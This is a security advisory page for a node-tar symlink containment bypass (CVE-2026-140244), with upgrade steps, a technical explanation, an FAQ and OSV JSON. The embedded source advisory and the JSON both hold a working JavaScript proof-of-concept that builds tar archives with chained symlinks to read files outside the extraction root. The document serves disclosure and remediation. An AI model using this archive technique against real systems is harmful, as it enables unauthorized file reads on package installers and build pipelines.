CVE-2026-140244: node-tar Symlink Containment Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-mhqm-9wj8-w7r4
CWE-59 CWE-22
Published
Advisory Summary

CVE-2026-140244 is a HIGH symlink containment bypass vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting node-tar libraries in the npm ecosystem. The issue involves symlink containment bypass via nested symlink + '..' (lexical linkpath check). Remediation is available by upgrading affected packages to version 8.0.0.

CVE-2026-140244 at a Glance

CVE Identifier CVE-2026-140244
GHSA Identifier GHSA-mhqm-9wj8-w7r4
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-59: Improper Link Resolution Before File Access ('Link Following')
Affected Product node-tar
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-140244

To remediate this vulnerability, upgrade all affected node-tar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

tar fixed: 8.0.0
npm install tar@8.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls tar

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-140244, inspect your project dependencies using npm:

npm ls tar

Analyze the terminal output to locate any version of node-tar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.0.0), your application is affected.

Note: The npm ls tar command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In node-tar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary node-tar checks that a symlink's target stays inside `cwd`, but the check is lexical. It runs `path.resolve(dirname, linkpath)`, which collapses `..` without following symlinks. Entry 1 `s1 -> .` is accepted because its target is cwd. Entry 2 `s2 -> s1/../secret.txt` resolves lexically to `<cwd>/secret.txt` and is accepted too. On disk the kernel resolves `s1` to cwd first and then applies `..`, so `s2` points to `<cwd>/../secret.txt`, outside the extraction root. Repeating `s1/` climbs further. node-tar rejects the direct form (`../secret.txt` gives TAR_ENTRY_ERROR), so it treats outside-pointing symlinks as in scope. This bypasses the linkpath containment added for GHSA-8qq5-rm4j-mr97 and related advisories. ### Affected tar 7.5.22 (latest). `src/unpack.ts`, the `[STRIPABSOLUTEPATH]` normalize/startsWith('../') check and the `[SYMLINK]` path (`dist/esm/unpack.js` around lines 224-244 and 511-513). ### Reproduction tar 7.5.22, tar-stream 3.2.2, node 22, Docker with `--network none`. `secret.txt` sits next to the extraction dir. ```js const tar = require('tar'), tarstream = require('tar-stream'), fs = require('fs'), path = require('path'); const base = process.argv[2]; const root = path.join(base,'root'); const ext = path.join(root,'ext'); fs.mkdirSync(root,{recursive:true}); fs.writeFileSync(path.join(root,'secret.txt'),'CANARY\n'); const ents = { direct: [{name:'evil',type:'symlink',linkname:'../secret.txt'}], dotdot_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/../secret.txt'}], hardlink_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'h',type:'link',linkname:'s1/../secret.txt'}], hardlink_abs: [{name:'h',type:'link',linkname:path.join(root,'secret.txt')}], file_through_link: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/..'},{name:'s2/pwn.txt',type:'file',data:'X'}], }; (async()=>{ for (const [k,es] of Object.entries(ents)) { fs.rmSync(ext,{recursive:true,force:true}); fs.rmSync(path.join(root,'pwn.txt'),{force:true}); fs.mkdirSync(ext,{recursive:true}); const p = tarstream.pack(); for (const e of es) p.entry({name:e.name,type:e.type,linkname:e.linkname,mode:0o644}, e.data); p.finalize(); const chunks=[]; for await (const c of p) chunks.push(c); fs.writeFileSync(path.join(base,'t.tar'), Buffer.concat(chunks)); const warns=[]; try { await tar.x({file:path.join(base,'t.tar'), cwd:ext, onwarn:(c,m)=>warns.push(c)}); } catch(e){ warns.push('ERR '+e.message); } const ls = fs.readdirSync(ext).map(n=>{try{return n+(fs.lstatSync(path.join(ext,n)).isSymbolicLink()?'->'+fs.readlinkSync(path.join(ext,n)):'')}catch(e){return n}}); let rd='-'; for (const n of ['evil','s2','h']) try { rd=n+':'+JSON.stringify(fs.readFileSync(path.join(ext,n),'utf8')); break;}catch(e){} console.log(k.padEnd(18), 'warn=',JSON.stringify(warns),'entries=',JSON.stringify(ls),'read=',rd,'pwn_outside=',fs.existsSync(path.join(root,'pwn.txt'))); }})(); ``` ``` direct warn= ["TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false dotdot_via_s1 warn= [] entries= ["s1->.","s2->s1/../secret.txt"] read= s2:"CANARY\n" pwn_outside= false hardlink_via_s1 warn= ["TAR_ENTRY_ERROR"] entries= ["s1->."] read= - pwn_outside= false hardlink_abs warn= ["TAR_ENTRY_INFO","TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false file_through_link warn= ["TAR_ENTRY_ERROR"] entries= ["s1->.","s2->s1/.."] read= - pwn_outside= false ``` The direct form is rejected (control). The two-step form extracts with no warning, and reading `s2` returns the file outside the root. ### Impact and limits Hardlinks through `s1/..` and writes through `s2/` are still blocked. The result is a planted symlink pointing outside the extraction root. Anything that later reads, serves, copies or archives the extracted tree follows it, which gives arbitrary file read (for example package installers, build or CI systems, and archive previewers). Estimated CVSS 3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (5.9). ### Suggested fix Validate the symlink target on the real filesystem. Walk its components with lstat (as ENSURE_NO_SYMLINK does for entry paths) and reject a `..` that follows a symlink component, or resolve the existing prefix with realpath before the containment check. Reported by Zachariah Mithani (zachariah@aplosai.com).

CVE-2026-140244 Affected node-tar Versions

1 component(s)
Fixed Versions:
8.0.0
Product / Package Ecosystem Affected Versions Fixed Version
tar
npm
< 8.0.0
8.0.0

References

Frequently Asked Questions

What is CVE-2026-140244?
CVE-2026-140244 is a security vulnerability in node-tar involving Symlink containment bypass via nested symlink + '..' (lexical linkpath check) under CWE-59: Improper Link Resolution Before File Access ('Link Following').
Which node-tar versions are affected?
Affected versions include releases prior to 8.0.0 across affected packages: tar.
What version fixes CVE-2026-140244?
Upgrading to 8.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is tar affected?
Yes, tar is affected in releases prior to 8.0.0. Upgrade your dependency to 8.0.0 or later.
What CWE is associated with CVE-2026-140244?
CVE-2026-140244 is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following') (The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.).
How can I check npm dependencies for CVE-2026-140244?
Run the dependency tree command: 'npm ls tar'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mhqm-9wj8-w7r4",
  "modified" : "2026-12-02T01:10:55Z",
  "published" : "2026-12-02T01:10:55Z",
  "aliases" : [ "CVE-2026-140244" ],
  "summary" : "node-tar: Symlink containment bypass via nested symlink + '..' (lexical linkpath check)",
  "details" : "### Summary\n\nnode-tar checks that a symlink's target stays inside `cwd`, but the check is lexical. It runs `path.resolve(dirname, linkpath)`, which collapses `..` without following symlinks. Entry 1 `s1 -> .` is accepted because its target is cwd. Entry 2 `s2 -> s1/../secret.txt` resolves lexically to `<cwd>/secret.txt` and is accepted too. On disk the kernel resolves `s1` to cwd first and then applies `..`, so `s2` points to `<cwd>/../secret.txt`, outside the extraction root. Repeating `s1/` climbs further. node-tar rejects the direct form (`../secret.txt` gives TAR_ENTRY_ERROR), so it treats outside-pointing symlinks as in scope. This bypasses the linkpath containment added for GHSA-8qq5-rm4j-mr97 and related advisories.\n\n### Affected\n\ntar 7.5.22 (latest). `src/unpack.ts`, the `[STRIPABSOLUTEPATH]` normalize/startsWith('../') check and the `[SYMLINK]` path (`dist/esm/unpack.js` around lines 224-244 and 511-513).\n\n### Reproduction\n\ntar 7.5.22, tar-stream 3.2.2, node 22, Docker with `--network none`. `secret.txt` sits next to the extraction dir.\n\n```js\nconst tar = require('tar'), tarstream = require('tar-stream'), fs = require('fs'), path = require('path');\nconst base = process.argv[2]; const root = path.join(base,'root'); const ext = path.join(root,'ext');\nfs.mkdirSync(root,{recursive:true}); fs.writeFileSync(path.join(root,'secret.txt'),'CANARY\\n');\nconst ents = {\n direct: [{name:'evil',type:'symlink',linkname:'../secret.txt'}],\n dotdot_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/../secret.txt'}],\n hardlink_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'h',type:'link',linkname:'s1/../secret.txt'}],\n hardlink_abs: [{name:'h',type:'link',linkname:path.join(root,'secret.txt')}],\n file_through_link: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/..'},{name:'s2/pwn.txt',type:'file',data:'X'}],\n};\n(async()=>{ for (const [k,es] of Object.entries(ents)) {\n  fs.rmSync(ext,{recursive:true,force:true}); fs.rmSync(path.join(root,'pwn.txt'),{force:true}); fs.mkdirSync(ext,{recursive:true});\n  const p = tarstream.pack(); for (const e of es) p.entry({name:e.name,type:e.type,linkname:e.linkname,mode:0o644}, e.data); p.finalize();\n  const chunks=[]; for await (const c of p) chunks.push(c); fs.writeFileSync(path.join(base,'t.tar'), Buffer.concat(chunks));\n  const warns=[]; try { await tar.x({file:path.join(base,'t.tar'), cwd:ext, onwarn:(c,m)=>warns.push(c)}); } catch(e){ warns.push('ERR '+e.message); }\n  const ls = fs.readdirSync(ext).map(n=>{try{return n+(fs.lstatSync(path.join(ext,n)).isSymbolicLink()?'->'+fs.readlinkSync(path.join(ext,n)):'')}catch(e){return n}});\n  let rd='-'; for (const n of ['evil','s2','h']) try { rd=n+':'+JSON.stringify(fs.readFileSync(path.join(ext,n),'utf8')); break;}catch(e){}\n  console.log(k.padEnd(18), 'warn=',JSON.stringify(warns),'entries=',JSON.stringify(ls),'read=',rd,'pwn_outside=',fs.existsSync(path.join(root,'pwn.txt')));\n}})();\n```\n\n```\ndirect             warn= [\"TAR_ENTRY_ERROR\"] entries= [] read= - pwn_outside= false\ndotdot_via_s1      warn= [] entries= [\"s1->.\",\"s2->s1/../secret.txt\"] read= s2:\"CANARY\\n\" pwn_outside= false\nhardlink_via_s1    warn= [\"TAR_ENTRY_ERROR\"] entries= [\"s1->.\"] read= - pwn_outside= false\nhardlink_abs       warn= [\"TAR_ENTRY_INFO\",\"TAR_ENTRY_ERROR\"] entries= [] read= - pwn_outside= false\nfile_through_link  warn= [\"TAR_ENTRY_ERROR\"] entries= [\"s1->.\",\"s2->s1/..\"] read= - pwn_outside= false\n```\n\nThe direct form is rejected (control). The two-step form extracts with no warning, and reading `s2` returns the file outside the root.\n\n### Impact and limits\n\nHardlinks through `s1/..` and writes through `s2/` are still blocked. The result is a planted symlink pointing outside the extraction root. Anything that later reads, serves, copies or archives the extracted tree follows it, which gives arbitrary file read (for example package installers, build or CI systems, and archive previewers). Estimated CVSS 3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (5.9).\n\n### Suggested fix\n\nValidate the symlink target on the real filesystem. Walk its components with lstat (as ENSURE_NO_SYMLINK does for entry paths) and reject a `..` that follows a symlink component, or resolve the existing prefix with realpath before the containment check.\n\nReported by Zachariah Mithani (zachariah@aplosai.com).",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "tar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/security/advisories/GHSA-mhqm-9wj8-w7r4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140244"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/commit/23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/isaacs/node-tar"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-59" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-02T01:10:55Z",
    "nvd_published_at" : "2026-12-01T18:17:28Z"
  }
}